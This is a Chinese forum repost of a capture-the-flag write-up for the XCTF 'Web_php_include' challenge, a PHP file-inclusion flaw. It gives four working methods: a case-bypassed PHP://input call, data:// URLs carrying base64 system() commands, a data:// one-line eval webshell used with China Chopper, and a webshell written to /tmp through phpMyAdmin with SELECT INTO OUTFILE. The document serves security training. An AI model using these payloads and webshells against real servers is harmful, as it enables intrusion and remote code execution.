艳明 發表於 2020-1-20 16:30:00

攻防世界-Web_php_include (四种解法)

<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">攻防世界-Web_php_include&nbsp; &nbsp;(考察的是文件包含)</p>
<p>打开页面是这样一段代码从代码中得知page中带有php://的都会被替换成空</p>
<p>str_replace()以其他字符替换字符串中的一些字符(区分大小写)</p>
<p>strstr() 查找字符串首次出现的位置。返回字符串剩余部分</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">show_source</span>(<span style="color: rgba(255, 0, 255, 1)">__FILE__</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['hello'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$page</span>=<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['page'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">while</span> (<span style="color: rgba(0, 128, 128, 1)">strstr</span>(<span style="color: rgba(128, 0, 128, 1)">$page</span>, "php://"<span style="color: rgba(0, 0, 0, 1)">)) {
    </span><span style="color: rgba(128, 0, 128, 1)">$page</span>=<span style="color: rgba(0, 128, 128, 1)">str_replace</span>("php://", "", <span style="color: rgba(128, 0, 128, 1)">$page</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">include</span>(<span style="color: rgba(128, 0, 128, 1)">$page</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?&gt;</pre>
</div>
<p>分析代码可知程序过滤掉了page=参数传入php://</p>
<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">第一种方法(大小写绕过)</p>
<p>大小写绕过由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input</p>
<p>Post传输恶意代码&nbsp;</p>
<p><img src="https://img2018.cnblogs.com/i-beta/967964/202001/967964-20200120160505334-373915747.png" alt="" width="227" height="276"></p>
<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">第二种方法(data://伪协议执行命令利用)</p>
<p>既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议</p>
<p><strong>data://</strong><strong>伪协议</strong></p>
<p>php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码</p>
<p>使用方法:data://text/plain;base64,xxxx(base64编码后的数据)</p>
<p>&lt;?php system("dir")?&gt; base64编码后使用</p>
<p>http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b&nbsp; (注意编码后的+号要URL编码)</p>
<p>&lt;?php system("cat fl4gisisish3r3.php")?&gt; base64编码后使用</p>
<p>http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==</p>
<p>查看源码得到flag</p>
<p>&nbsp;<img src="https://img2018.cnblogs.com/i-beta/967964/202001/967964-20200120162542062-1313403933.png" alt="" width="293" height="93"></p>
<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">第三种方法(data://伪协议传木马)</p>
<p>&lt;?php eval($_POST); ?&gt; base64加密后拼接</p>
<p>http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==</p>
<p>菜刀连接即可:</p>
<p style="font-weight: bold; color: rgba(255, 255, 255, 1); font-family: 微软雅黑, 宋体, 黑体, Arial; min-height: 25px; line-height: 25px; opacity: 0.8; background: rgba(0, 221, 221, 1); border-radius: 6px; padding: 8px; border: 1px dashed rgba(0, 221, 221, 1); margin: 18px 5px !important">第四种方法(数据库写入马)</p>
<p>御剑扫描获得phpmyadmin root 密码空 进入</p>
<p>数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写</p>
<p><strong>SHOW</strong>&nbsp;<strong>VARIABLES</strong>&nbsp;<strong>LIKE</strong>&nbsp;"secure_file_priv"</p>
<p>linux默认tmp是可写目录 试试写入一句话马 菜刀连接&nbsp;</p>
<p><strong>SELECT</strong>&nbsp;"&lt;?php eval(@$_POST['xiaohua']); ?&gt;"<br><strong>INTO</strong>&nbsp;<strong>OUTFILE</strong>&nbsp;'/tmp/test1.php'</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>参考学习: https://www.cnblogs.com/Zhu013/p/11550463.html</p><br><br>
来源:https://www.cnblogs.com/xhds/p/12218471.html
頁: [1]
查看完整版本: 攻防世界-Web_php_include (四种解法)